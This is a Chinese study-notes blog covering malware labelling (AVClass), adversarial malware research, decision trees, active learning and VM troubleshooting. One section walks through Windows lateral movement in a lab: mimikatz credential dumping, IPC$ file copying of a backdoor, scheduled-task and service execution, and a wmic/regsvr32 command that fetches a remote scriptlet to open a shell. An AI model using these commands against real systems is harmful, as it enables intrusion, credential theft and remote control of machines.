Paul C's Blog

To be funny,to grow up!

0%

AVCLASS

三大挑战:规范化(相对于使用AV提供的完整标签而言),通用标记删除,别名检测

采取AV vendors多数投票,需要选择出一些打标签比较好的检测引擎,而检测引擎往往对于某一类准确率高,而对于另一类又比较差;也无法定量评估标签的质量。

已知某些引擎会抄袭leader引擎的标签结果。

AVCLASS可以代替聚类过程和给聚类结果打标签。

AVCLASS2

2020

Silvia Sebastián, Juan Caballero. AVClass2: Massive Malware Tag Extraction from AV Labels. In proceedings of the Annual Computer Security Applications Conference, December 2020.

AVLASS2借助VT的json可以获得下面的结果:

1
aca2d12934935b070df8f50e06a20539 33 CLASS:grayware|10,CLASS:grayware:adware|9,FILE:os:windows|8,FAM:adrotator|8,CLASS:downloader|3,FAM:zlob|2

AV-Test

乔延成

1669032568781

恶意代码对抗样本研究存在的困难

图像对抗样本
·数值是连续的
·限制:添加的扰动人类无法察觉恶意代码对抗样本
·字节数据、系统调用等特征数值是离散的(基于梯度的方法无法使用)·限制:添加的扰动不能影响恶意代码的原有功能

1669032652118

  • 恶意代码检测模型决策依据分析
  • 恶意代码对抗样本检测方法
  • 恶意代码对抗样本攻击方法

1669032908841

集成学习

  • bagging: 随机森林

  • boosting: adaboost,GBDT,XGboost,LGBM

决策树

  • 分类树
  • 回归树

信息熵

随机变量的不确定性,熵越大,不确定性越大。

1
H(X)=-\sum_{i=1}^{n} P(X=i) \log _{2} P(X=i)

1670084361226

比如,0.5、0.5的概率,不确定性很大,计算得到H(X)=1;而0.01,0.99的概率,不确定性减少,计算得到0.09;

条件熵

增加了条件限制后,不确定性会发生变化。

1
H(X \mid Y=v)=-\sum_{i=1}^{n} P(X=i \mid Y=v) \log _{2} P(X=i \mid Y=v)

1670084655525

信息增益

代表了在一个条件下,信息不确定性减少的程度,信息更容易被确定了,所以叫做增益。

I(X,Y)=H(X) -H(X|Y=v) 父节点熵-子节点加权熵

决策树的划分标准

信息增益越大的时候,决策树的划分越好。所以决策树的每一级决策,取信息增益最大的因素。

1670086814625

使用xgboost库时的超参数

1
2
3
4
5
6
model.set_params(max_depth=3,
learning_rate=0.1,
n_estimators=100,
silent=True,
objective="multi:softmax",
num_class=3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def __init__(
self,
max_depth: Optional[int] = None,
max_leaves: Optional[int] = None,
max_bin: Optional[int] = None,
grow_policy: Optional[str] = None,
learning_rate: Optional[float] = None,
n_estimators: int = 100,
verbosity: Optional[int] = None,
objective: _SklObjective = None,
booster: Optional[str] = None,
tree_method: Optional[str] = None,
n_jobs: Optional[int] = None,
gamma: Optional[float] = None,
min_child_weight: Optional[float] = None,
max_delta_step: Optional[float] = None,
subsample: Optional[float] = None,
sampling_method: Optional[str] = None,
colsample_bytree: Optional[float] = None,
colsample_bylevel: Optional[float] = None,
colsample_bynode: Optional[float] = None,
reg_alpha: Optional[float] = None,
reg_lambda: Optional[float] = None,
scale_pos_weight: Optional[float] = None,
base_score: Optional[float] = None,
random_state: Optional[Union[np.random.RandomState, int]] = None,
missing: float = np.nan,
num_parallel_tree: Optional[int] = None,
monotone_constraints: Optional[Union[Dict[str, int], str]] = None,
interaction_constraints: Optional[Union[str, Sequence[Sequence[str]]]] = None,
importance_type: Optional[str] = None,
gpu_id: Optional[int] = None,
validate_parameters: Optional[bool] = None,
predictor: Optional[str] = None,
enable_categorical: bool = False,
max_cat_to_onehot: Optional[int] = None,
eval_metric: Optional[Union[str, List[str], Callable]] = None,
early_stopping_rounds: Optional[int] = None,
callbacks: Optional[List[TrainingCallback]] = None,
**kwargs: Any
)

随机森林

随机性:1.样本随机选取作为某一个DT的训练集;2.特征随机选取

Adaboost前向优化算法

1670709620272

主动学习,半监督学习的一种,让模型决定哪个数据点被打标签,减少执行任务所需要的监督量。

用在 犯错误成本很高,而请求标签成本较小的领域中。

方法:某些example提供最多的信息,某些数据打什么标签具有极大的不确定性。传统的办法是

启发式的来近似风险

1
2
3
For: Input
模型可以选择自己预测对应的标记(如果预测对了就会给一个奖励,预测错了会给一个惩罚),
也可以选择索要正确的标记(直接给一个小的惩罚)

Single-pass active learning with conflict and ignorance.

2012,Single-pass active learning with conflict and ignorance.伴随冲突(对类的相交样本建模,可信确定度在0.5~0.75)和忽略(炒鱿鱼度<0.5,离类很远的样本)的单程主动学习

模糊系统里的一些概念

member degree 成员度,规则内的样本比例

maximal firing degree 规则的最大触发程度,使用ε完整度评价。

引入一个筛选模型,评价样本的不确定性(冲突和忽略)。通过选取信息含量最多的样本减少标注量。汇总各个二分类器的分类偏好打分得到最终结果,可以在达到相似分类效果的前提下减少90%的样本选取。

启发:天然信息含量高的个体具有什么特性,如何增加样本的信息含量?

1709426331400

选取信心分数在0.7以下的

对于在所有二分类器上覆盖度不良的样本,结合覆盖度和确定性标准决定它的最终标签和冲突度。

1709429748295

决策边界的非线性越强,权重应该越低,外推区域里的样本的不确定性越强。

2011,evolving fuzzy classifiers

EFC(进化模糊分类器)架构能够反映当前数据的分布特点。

1709279057733

由于重力概念,决策边界要偏向类混杂的规则,而远离纯净的规则。???

偏好关系矩阵,可以拆分为三元组(严格偏好,,无法比较关系)

一些通过在线流和新样本可进化的学习算法:增量支持向量机、Hoeffding trees、on-line bagging and boosting (Oza 2001), incremental decision trees (Utgoff 1989), incremental min-max neural network (Bouchachia 2009), semi-supervised k-nearest neighbors (Hartert et al. 2010), and evolving fuzzy classifiers (Lughofer 2011) (Angelov et al. 2008).

Settles B (2010) Active learning literature survey. Technical report, Computer Sciences Technical Report 1648, University of Wisconsin Madison

Code02

强化学习和小样本学习的结合,使得模型在分类过程中决定哪些样本值得打上标签。
本文的分类任务:提供一系列图片,在每个时间步内,做一个决定,预测标签,或者支付代价获取正确的标签。

利用Windows内置工具

  • IPC+Schtasks+AT
  • IPC+SC(服务)
  • WMIC(查询信息,补丁、账号;进程创建)
  • WinRM服务

IPC$

IPC$,Internet Process Connection,是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道, 输入可信用户名、密码建立管道,借助该管道,可以实现加密数据的交换,访问远程计算机。

利用IPC$,需要使用Administrator账号权限。

利用条件

1.开放了139、445端口

2.目标机器开启IPC$文件共享服务(该服务建立的初衷是为了管理员方便的管理远程计算机)。

3.需要目标机器的管理员账号和密码

1
2
3
4
D:\Documents>netstat -ano|findstr 445
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 192.168.66.1:54207 192.168.66.131:445 ESTABLISHED 4
TCP [::]:445 [::]:0 LISTENING 4

获取管理员账号密码:

1
2
hashdump密码凭据获取
去cmd5.com在线解密即可
1
2
3
4
5
load kiwi
load mimikatz
help
#获取明文密码
cred_kerberos

当无法获取到明文密码时,可以采取哈希扩展攻击

1
2
存放在某个文件;
使用弱口令、口令复用;

1667886774960

常用命令

1
2
3
4
5
6
net use  \\192.168.66.131\ipc$ /user:administrator "passwd"
#该命令可能被对方防火墙拦下,报告系统错误67 找不到网络名
#查看链接情况
net use
#查看目标主机时间
net time \\192.168.66.131
1
2
3
4
#删除链接,并且在非交互模式下输入yes
net use \\192.168.66.131\ipc$ /del /y
net use * /del /y

对于同一个机器,只能对目标主机建立一个net use链接,建立第二个时会报错(报告账号或者密码错误)

1
2
3
4
5
6
7
#文件上传下载
copy shell.exe \\192.168.66.131\c$\windows\temp\plugin_uddate.exe
#查看目标机器中的文件
dir \\192.168.66.131\d$

copy \\192.168.66.131\d$\hello.exe d:\

1
2
3
4
5
6
# 改变代码页编码为utf-8,gbk 936
chcp 65001

#谷歌浏览器快速切换标签页
ctrl+shift+tab

Schtasks

创建计划任务执行我的后门

1
schtasks /create /s 192.168.66.131 /u administrator /p "passwd" /sc MINUTE /mo 1 /tn test /tr "c:\\windows\\temp\\plugin_uddate.exe"

1667891124571

1
SUCCESS: The scheduled task "test" has successfully been created.

正常,过一分钟后木马被执行

账户输错

1
2
ERROR: No mapping between account names and security IDs was done.
(43,4):LogonType:

注:只要执行了计划任务,一定会被系统日志记录下来。

tasklist查看目标机器上的进程

1
2
3
4
5
#展示详细信息
tasklist /s \\192.168.66.131 /v
tasklist /s \\192.168.66.131 /u administrator /p "passwd"
vm3dservice.exe
VGAuthService

删除指定名称的计划任务

1
schtasks /delete /s 192.168.66.131 /tn test /u administrator /p "passwd" /y

AT

指定时间创建计划任务

1
2
net time \\192.168.66.131 
at \\192.168.66.131 15:08 D:\\hello.exe
1
2
The AT command has been deprecated. Please use schtasks.exe instead.
Added a new job with job ID = 1

注:At在Windows Server 2012等新版系统中被弃用

1667891456404

1
schtasks /delete /s 192.168.66.131 /tn At1 /u administrator /p "passwd" /y

SC

创建服务执行

注:binpath= 后面必须有空格

1
2
sc \\192.68.66.131 create test binpath= "D:\\hello.exe" obj= "Administrator" password= passwd 
sc \\192.168.66.131 start test

查看服务是否创建成功

1
sc \\192.68.66.131 qc test

WMIC

Windows Management Instrumentation

管理远程计算机node的进程process

借助regsvr32,进而反弹shell

1
wmic /node:192.168.66.131 /user:administrator /password:passwd process call create "regsvr32" /s /n /u /i:http:192.168.66.1:8080/fesddasji.sct scrobj.dll"

注:wmic没有回显,可以借助wmicexec.vbs脚本实现回显。

1
2
#列出简洁的系统信息
wmic os list brief

MSF

1
2
3
4
5
6
7
8
9
10
jobs
#获取建立的会话
sessions
# 选择一个会话
sessions 5
#获取用户名
meterpreter:getuid
#退出当前会话
exit

1.piix4_smbus **SMBus Host controller not enabled

weixin_46238869的blog

1.在开机界面按住shift键,进入后选择[Advanced Option]—>[Recovery Mode],获得恢复菜单如下;

1667616777282

2.选择[root] ,连敲两次回车,获得root命令行。

1667616901206

3.命令行中输入:

1
2
mount -o remount,rw /    #用可读写模式重新挂上根分区
vi /etc/modprobe.d/blacklist.conf #修改模块黑名单

1667617258574

4.按住i,在文件末尾追加下面的黑名单,保存。

1
2
blacklist intel_powerclamp
blacklist i2c_piix4

5.更新镜像。

1
update-initramfs -u -k all

1667617685163

  1. 最后输入reboot重启

2.mtd device must be supplied

BugReport

StackOverflow

  1. 这个消息是由于mtdpstore module的默认配置有问题。
  2. 不影响启动,在启动后,做一次update就可以消除这个问题。

3.nouveau unknown chipset

显卡驱动不支持问题

1
Add nomodeset nouveau.modeset=0 to the kernel options to fix it.

grub编辑

1.Vmware—>【加速3D图形】 取消勾选

2.本机命令行:

1
netsh winsock reset

Pedro H. Barros, Eduarda T.C. Chagas, Leonardo B. Oliveira, Fabiane Queiroz, Heitor S. Ramos, Malware‐SMELL: A zero‐shot learning strategy for detecting zero‐day vulnerabilities,Computers & Security,Volume 120,3 June 2022,102785,ISSN 0167-4048,【B刊】

可以划分到嵌入式学习、度量学习里。

基础知识

  • 数据无关的度量值(Euclidean, Cosine, and Manhattan)

度量学习

从数据中构造任务特定的度量函数,使得相同标签的样本在Latent feature space中足够靠近,不同标签的样本在潜在空间中尽可能远离。

SNN

孪生网络,经过一个非线性的映射函数变换(待学习的加密器f θ ),f θ中的特征提取函数将样本对映射为潜在表征向量。

输入:样本对,标签(similar,dissimilar) 同类样本就打similar标签,否则打dissimilar。

1668431394728

数据集

MaleViz:

涉及26个(25恶意+1良性)类的字节图像的语料库,14226 images.

1668746105269

Malimg:

9339 samples from 25 malware families, obtained through experiments of mixtures of network and the Windows操作系统恶意软件

Nataraj, L., Karthikeyan, S., Jacob, G., Manjunath, B.S., 2011. Malware images: Visualization and automatic classifification. In: Proceedings of the 8th International Symposium on Visualization for Cyber Security. Association for Computing Machinery, New York, NY, USA.

1668746119695

解决的问题:

过去的映射函数没有学习到样本对之间的信息。

采用的方法:

将数据对映射到一个相似空间。正则函数避免过拟合。

研究方向